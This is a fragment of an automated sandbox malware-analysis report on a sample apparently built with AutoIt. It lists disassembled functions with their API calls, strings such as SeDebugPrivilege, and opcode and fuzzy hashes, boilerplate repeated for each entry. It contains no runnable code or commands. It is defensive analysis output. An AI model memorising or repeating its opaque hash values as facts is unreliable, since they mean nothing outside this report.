                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Variant$Init$Clear
                                                          • String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop$_NewEnum$get__NewEnum
                                                          • API String ID: 3467423407-1765764032
                                                          • Opcode ID: 0d292a3f0f15bdf0dc2b489c3a05645491a3d66a64ca4070d3452dd040457e0f
                                                          • Instruction ID: c51fd537add788c37411e568a7adcdcef21881a88960757f5bfcb1c6af258f49
                                                          • Opcode Fuzzy Hash: 0d292a3f0f15bdf0dc2b489c3a05645491a3d66a64ca4070d3452dd040457e0f
                                                          • Instruction Fuzzy Hash: FFA1B132A4874186EF14EF65E4406ADB7A9FB94B98FA80132DE4E13754DF3CD446C790
                                                          Function 00007FF787C1A350 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 139windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$Window$CreateObjectStockwcscat
                                                          • String ID: -----$SysListView32
                                                          • API String ID: 2361508679-3975388722
                                                          • Opcode ID: c344d9879c390065c59b29320dac7b0039891542bbecba4ba3e0f02e7f9bfa97
                                                          • Instruction ID: a72f0c34145e797bbd37d7f9ed9d82086e7068861841e181f9cfc89d6b4e2615
                                                          • Opcode Fuzzy Hash: c344d9879c390065c59b29320dac7b0039891542bbecba4ba3e0f02e7f9bfa97
                                                          • Instruction Fuzzy Hash: A9510432A04B818BE720DF25E8446DE73A5FB84784F90013ADE5E07B55CF38D596CB50
                                                          Function 00007FF787BDE2CC Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 54windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: ClassMessageNameParentSend_invalid_parameter_noinfo
                                                          • String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
                                                          • API String ID: 2019164449-3381328864
                                                          • Opcode ID: 85bc50b5cb3f1aae72e6251db0d1ce00868677b2ce09b4091907517111ac15a9
                                                          • Instruction ID: 706e9800cb0ba0d280b2c2d3a516560e0a6d5b1d7a7fec7231290fdfb0e28ab9
                                                          • Opcode Fuzzy Hash: 85bc50b5cb3f1aae72e6251db0d1ce00868677b2ce09b4091907517111ac15a9
                                                          • Instruction Fuzzy Hash: CD216231B9C90780FB60B711E999379AB66BF84B94FE05035C91F47265EE6CE503C720
                                                          Function 00007FF787C07054 Relevance: 13.9, APIs: 9, Instructions: 373COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: FreeString$FileFromLibraryModuleNamePathQueryType
                                                          • String ID:
                                                          • API String ID: 1903627254-0
                                                          • Opcode ID: 598b5a242d4ad7e8ea74ab1cb47f7436f773884321b066f1e5bf024af7697886
                                                          • Instruction ID: a5948a91c584cc3160f6c862e4b13d21b16a1940d29dff1c16a0d9200c810647
                                                          • Opcode Fuzzy Hash: 598b5a242d4ad7e8ea74ab1cb47f7436f773884321b066f1e5bf024af7697886
                                                          • Instruction Fuzzy Hash: 24027B32A18A8286EF54EF29D4441ADA764FB94F89FA44032EB4F07B64CF38D54AC750
                                                          Function 00007FF787C1C324 Relevance: 13.7, APIs: 9, Instructions: 163windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Window$MessageSend$LongShow$DeleteFocusInvalidateObjectRect
                                                          • String ID:
                                                          • API String ID: 3210457359-0
                                                          • Opcode ID: 33ab6cce80c9e0840b45516de4cf550524ae496078474d2d7534a7033dd0db45
                                                          • Instruction ID: 1149a0530f1db9f7f8f4be82cf5c5445133724a3a950ea40f934cde327254965
                                                          • Opcode Fuzzy Hash: 33ab6cce80c9e0840b45516de4cf550524ae496078474d2d7534a7033dd0db45
                                                          • Instruction Fuzzy Hash: C361CF25A8854386FB30BA65D4417FA9669BB807A8FF08131EA1F036D5CE7CE483D334
                                                          Function 00007FF787BDD780 Relevance: 13.6, APIs: 9, Instructions: 54memorythreadCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
                                                          • String ID:
                                                          • API String ID: 1957940570-0
                                                          • Opcode ID: 67bda6fc94471c3762a54e3e67296020613b076a2f011637c0efff71f078e81c
                                                          • Instruction ID: bb83e852f3c1dd0b96c0cde051269cf8863f58143fd28c30c32620d4654eb493
                                                          • Opcode Fuzzy Hash: 67bda6fc94471c3762a54e3e67296020613b076a2f011637c0efff71f078e81c
                                                          • Instruction Fuzzy Hash: F9215936969B8182E710DF42F44836ABBA4F788FDAF944165DA8E13B64CF3CD109CB04
                                                          Function 00007FF787C20B24 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 142windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: AsyncDragImageList_StateWindow$CaptureClientCursorLeaveLongMessageReleaseScreenSendText
                                                          • String ID: @GUI_DRAGFILE$@GUI_DROPID
                                                          • API String ID: 3721556410-2107944366
                                                          • Opcode ID: 587eb60e7772e36f3e392801f2e4a607ca3d480d8a76847679925989c46b6468
                                                          • Instruction ID: 91db497158a9752bbabde6f690116559ecfeb7b66df5265621d847b90e5866ae
                                                          • Opcode Fuzzy Hash: 587eb60e7772e36f3e392801f2e4a607ca3d480d8a76847679925989c46b6468
                                                          • Instruction Fuzzy Hash: C361C136A54A5285EB00EF61E8805ED7B79FB44B98FA04136DD1F17AA5CF38E487C360
                                                          Function 00007FF787C0E580 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 138COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
                                                          • String ID: SeDebugPrivilege
                                                          • API String ID: 2533919879-2896544425
                                                          • Opcode ID: 4f21c35d0a4ac780837a5a8e5dc6f68c18b89875e417af61e1445dd9dd8e1fe8
                                                          • Instruction ID: d09aea404eae2fb82e090575c13b575b27057e5f62a79b080b31122ece4292f4
                                                          • Opcode Fuzzy Hash: 4f21c35d0a4ac780837a5a8e5dc6f68c18b89875e417af61e1445dd9dd8e1fe8
                                                          • Instruction Fuzzy Hash: 30518E72A9864286EB00FF69D090379AB61FF84B95F958835D60F076A2DF3CE542C760
                                                          Function 00007FF787BEA070 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 135windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Menu$Item$CountCreateInfoInsertPopup
                                                          • String ID: 2$P
                                                          • API String ID: 93392585-1110268094
                                                          • Opcode ID: 46a49604fdc7cbe7f64919669a233ff3b62d38c72d86d24d888cad9356e87a30
                                                          • Instruction ID: f34bd2bff7dd9537f5abb528f30c57a9f5f5997ee5cd3ee5ce3f44ce4f9f5460
                                                          • Opcode Fuzzy Hash: 46a49604fdc7cbe7f64919669a233ff3b62d38c72d86d24d888cad9356e87a30
                                                          • Instruction Fuzzy Hash: 2651C233A4864289F720EF65E4402BDBBAABF41758FB44135CA5B23794CF38D482D721
                                                          Function 00007FF787C1E248 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 129windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Window$LongMessageSend$Show
                                                          • String ID: '
                                                          • API String ID: 257662517-1997036262
                                                          • Opcode ID: eb894a93846cd46a5342e3ebb468783be677627f1867a2ee8fe2f5b975b70651
                                                          • Instruction ID: a5b5a2c535f0d29218861d525b6fab27ea3dce3808bc630e182ed080c313312b
                                                          • Opcode Fuzzy Hash: eb894a93846cd46a5342e3ebb468783be677627f1867a2ee8fe2f5b975b70651
                                                          • Instruction Fuzzy Hash: A651C432A4864285E360AF65E458A7DA755FB85F91FE44236CE5F837A0CE3DE443C720
                                                          Function 00007FF787BEAD94 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 70windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: IconLoad_invalid_parameter_noinfo
                                                          • String ID: blank$info$question$stop$warning
                                                          • API String ID: 4060274358-404129466
                                                          • Opcode ID: a20ad64d4c1f0ff606b53834bd72c3c9b388472799770000db1625183137431d
                                                          • Instruction ID: 696b3dd753cb877b01d67781c8203a02b1ac2acf67e5a717a3832edd59ef3062
                                                          • Opcode Fuzzy Hash: a20ad64d4c1f0ff606b53834bd72c3c9b388472799770000db1625183137431d
                                                          • Instruction Fuzzy Hash: 25213932A8C78781EB50BB16A94117AEB6ABF48780FB45031DE4F47395EE7CE443D220
                                                          Function 00007FF787BEC5C8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 39windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: HandleLoadModuleString$Messagewprintf
                                                          • String ID: %s (%d) : ==> %s: %s %s
                                                          • API String ID: 4051287042-3128320259
                                                          • Opcode ID: f7e86a73b67135bbf4198df281c36ffde702979d794fcff8f2d08bb660d9317c
                                                          • Instruction ID: 3962b2579a58bb98d9fdd8a0981edab61f62819d6f06c02bdf0d0fe6dda70ee1
                                                          • Opcode Fuzzy Hash: f7e86a73b67135bbf4198df281c36ffde702979d794fcff8f2d08bb660d9317c
                                                          • Instruction Fuzzy Hash: BA117C32A28A8591D720AB10F4447EBA264FB88744FE01036EA8F43B58DE3CC14AC720
                                                          Function 00007FF787C2233C Relevance: 12.3, APIs: 8, Instructions: 254windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
                                                          • String ID:
                                                          • API String ID: 1211466189-0
                                                          • Opcode ID: e4483054fe90d725006c88ea8490581a4df116f0e1f8785d266180591fe398c1
                                                          • Instruction ID: 6e45df6f90efbc7957bfb9ba609e39ffd9eacb94eecf5c8806977760be09076d
                                                          • Opcode Fuzzy Hash: e4483054fe90d725006c88ea8490581a4df116f0e1f8785d266180591fe398c1
                                                          • Instruction Fuzzy Hash: DAA1293676868382EB68EF25D154B79B7A8FB44B44F615035DE2B43A90DF3CE892C710
                                                          Function 00007FF787B9443C Relevance: 12.1, APIs: 8, Instructions: 124COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: ShowWindow
                                                          • String ID:
                                                          • API String ID: 1268545403-0
                                                          • Opcode ID: cc21e6db9a044589e755c4703016b6e1d9c57170080a8525f9bf3d2d7d54c8f4
                                                          • Instruction ID: f19170753e69a0f05ed4d9d4b3df8d8a9fba99546742aae601da00f91a277462
                                                          • Opcode Fuzzy Hash: cc21e6db9a044589e755c4703016b6e1d9c57170080a8525f9bf3d2d7d54c8f4
                                                          • Instruction Fuzzy Hash: 1951A731E9C14289FB65BB25D05837F9E97BF46B58FB84071C91F036D5DE6CA886C220
                                                          Function 00007FF787C190A8 Relevance: 12.1, APIs: 8, Instructions: 102windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
                                                          • String ID:
                                                          • API String ID: 3864802216-0
                                                          • Opcode ID: 51e6ec7aa37fc3003482106919c843e152de56e0f8813b4e66b1a7a4e18ad1cb
                                                          • Instruction ID: b059fd604b2f194bee2478d9b5c2a0e3d2581404a490288b28d8034c05ce7314
                                                          • Opcode Fuzzy Hash: 51e6ec7aa37fc3003482106919c843e152de56e0f8813b4e66b1a7a4e18ad1cb
                                                          • Instruction Fuzzy Hash: F241AB7666868187E364CB22F444B6BBBA4F798B91F604135EF8A03B54DF3CD442CB00
                                                          Function 00007FF787BB0BBC Relevance: 10.8, APIs: 7, Instructions: 294COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: _invalid_parameter_noinfo
                                                          • String ID:
                                                          • API String ID: 3215553584-0
                                                          • Opcode ID: 0e759f5e66e3bc5bfe8a510da40a1350ef89f4d720a030738aab17a47d454008
                                                          • Instruction ID: 422d0f1cf05457736fba95080db9f9bf9b20bf4d86f75f679582cdceca63c865
                                                          • Opcode Fuzzy Hash: 0e759f5e66e3bc5bfe8a510da40a1350ef89f4d720a030738aab17a47d454008
                                                          • Instruction Fuzzy Hash: 5AC1CF32A8868686EB61AB15944027EEE97BF40B80FE54135EE5F17395CF3CE842C724
                                                          Function 00007FF787BF09C4 Relevance: 10.7, APIs: 7, Instructions: 248COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: ArraySafe$Data$Access$UnaccessVartype
                                                          • String ID:
                                                          • API String ID: 2550207440-0
                                                          • Opcode ID: 00c2af4dc047eb3328d9db7280bab1605e51150c83bde12361ed7da654b6a987
                                                          • Instruction ID: b6214054fd62490735ce0c446a2429c282442c73f7c737d1ca475a6fa25f505c
                                                          • Opcode Fuzzy Hash: 00c2af4dc047eb3328d9db7280bab1605e51150c83bde12361ed7da654b6a987
                                                          • Instruction Fuzzy Hash: 3AA1BF32A5860685FB10AF65C4943BCAB62FB44F98FA54431DE2F476A6DF7CE442C360
                                                          Function 00007FF787B72100 Relevance: 10.7, APIs: 7, Instructions: 246COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: ObjectSelect$BeginCreatePath
                                                          • String ID:
                                                          • API String ID: 3225163088-0
                                                          • Opcode ID: e150efe4bbb5a68fe2f4df4e615a944ed6587934d7859263685a3daad39b8607
                                                          • Instruction ID: e8b5b729110a33075871e83ac6c2a5c2fa715d8759149b0f3d7e78328342a90a
                                                          • Opcode Fuzzy Hash: e150efe4bbb5a68fe2f4df4e615a944ed6587934d7859263685a3daad39b8607
                                                          • Instruction Fuzzy Hash: DBA1B072A5C6C087D7209F59A4406AEFBB6FB85BD4FA04125DA8A17B68CF3CD442CF10
                                                          Function 00007FF787BE8E18 Relevance: 10.6, APIs: 7, Instructions: 145windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
